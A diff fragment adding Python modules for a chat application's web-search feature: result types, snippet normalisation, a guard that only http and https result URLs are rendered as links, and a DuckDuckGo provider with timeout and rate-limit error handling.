||||
|
||||
__all__ = ["PROVIDERS", "Provider", "SearchError", "SearchResult", "availability", "run"]
|
||||
@@ -0,0 +1,62 @@
|
||||
"""What every search provider produces, and how it fails."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# A snippet is context, not an article. Longer than this and a handful of
|
||||
# results crowds out the conversation they were meant to inform.
|
||||
MAX_SNIPPET = 400
|
||||
|
||||
|
||||
class SearchError(Exception):
|
||||
"""A search failure with a message fit to show a user.
|
||||
|
||||
Same contract as LLMError in the chat client: one exception type, always
|
||||
carrying text that can be put on screen without editing.
|
||||
"""
|
||||
|
||||
def __init__(self, message: str) -> None:
|
||||
super().__init__(message)
|
||||
self.message = message
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class SearchResult:
|
||||
title: str
|
||||
url: str
|
||||
snippet: str
|
||||
|
||||
@property
|
||||
def host(self) -> str:
|
||||
try:
|
||||
return urlparse(self.url).netloc or self.url
|
||||
except ValueError:
|
||||
return self.url
|
||||
|
||||
@property
|
||||
def is_linkable(self) -> bool:
|
||||
"""Whether this result's URL may be rendered as a link.
|
||||
|
||||
Only http and https. A search provider is an untrusted source, and a
|
||||
javascript: or data: URL arriving in a result and being turned into an
|
||||
anchor is the obvious way this feature would be abused.
|
||||
"""
|
||||
try:
|
||||
return urlparse(self.url).scheme in ("http", "https")
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
def clean(title: Any, url: Any, snippet: Any) -> SearchResult | None:
|
||||
"""Normalise one provider's row, or None if there is nothing usable in it."""
|
||||
url = str(url or "").strip()
|
||||
if not url:
|
||||
return None
|
||||
return SearchResult(
|
||||
title=" ".join(str(title or "").split())[:300] or url,
|
||||
url=url[:2000],
|
||||
snippet=" ".join(str(snippet or "").split())[:MAX_SNIPPET],
|
||||
)
|
||||
@@ -0,0 +1,88 @@
|
||||
"""DuckDuckGo, via the ddgs package.
|
||||
|
||||
The default provider because it is the only one that works with no account, no
|
||||
key and no server to run: enabling web search should not also be a
|
||||
configuration exercise.
|
||||
|
||||
Optional at install time -- see the `search` extra in pyproject.toml -- so the
|
||||
import is guarded and its absence is reported as something to install rather
|
||||
than as a crash.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from typing import Any
|
||||
|
||||
from lembas.services.search.base import SearchError, SearchResult, clean
|
||||
|
||||
try: # pragma: no cover - exercised by whether the extra is installed
|
||||
from ddgs import DDGS
|
||||
|
||||
_IMPORT_ERROR = ""
|
||||
except ImportError as exc: # pragma: no cover
|
||||
DDGS = None
|
||||
_IMPORT_ERROR = str(exc)
|
||||
|
||||
|
||||
def is_available() -> bool:
|
||||
return DDGS is not None
|
||||
|
||||
|
||||
def _blocking_search(query: str, count: int, region: str, safesearch: str) -> list[dict[str, Any]]:
|
||||
with DDGS() as client:
|
||||
return list(
|
||||
client.text(
|
||||
query,
|
||||
region=region or "wt-wt",
|
||||
safesearch=safesearch or "moderate",
|
||||
max_results=count,
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
async def search(config: dict[str, Any], query: str, count: int) -> list[SearchResult]:
|
||||
if not is_available():
|
||||
raise SearchError(
|
||||
'The ddgs package is not installed. Install it with: pip install "lembas[search]"'
|
||||
)
|
||||
|
||||
try:
|
||||
# ddgs is synchronous. Run it on a thread: blocking the event loop here
|
||||
# would stall every other chat in the process, including the one that
|
||||
# asked for the search.
|
||||
rows = await asyncio.wait_for(
|
||||
asyncio.to_thread(
|
||||
_blocking_search,
|
||||
query,
|
||||
count,
|
||||
str(config.get("region") or "wt-wt"),
|
||||
str(config.get("safesearch") or "moderate"),
|
||||
),
|
||||
timeout=float(config.get("timeout") or 20.0),
|
||||
)
|
||||
except TimeoutError as exc:
|
||||
raise SearchError("DuckDuckGo did not answer in time.") from exc
|
||||
except Exception as exc: # noqa: BLE001 - the library raises its own types
|
||||
# Rate limiting is the common failure and worth naming, because the fix
|
||||
# is to wait rather than to change anything.
|
||||
detail = str(exc)
|
||||
if "ratelimit" in detail.lower() or "202" in detail:
|
||||
raise SearchError(
|
||||
"DuckDuckGo is rate limiting this instance. Try again shortly, "
|
||||
"or configure SearXNG instead."
|
||||
) from exc
|
||||
raise SearchError(f"DuckDuckGo search failed: {detail[:200]}") from exc
|
||||
|
||||
results = []
|
||||
for row in rows:
|
||||
# ddgs renamed its fields across versions; both spellings are read so
|
||||
# an upgrade does not silently return empty snippets.
|
||||
result = clean(
|
||||
row.get("title"),
|
||||
row.get("href") or row.get("url") or row.get("link"),
|
||||
row.get("body") or row.get("description") or row.get("snippet"),
|
||||
)
|
||||
if result is not None:
|
||||
results.append(result)
|
||||
return results
|
||||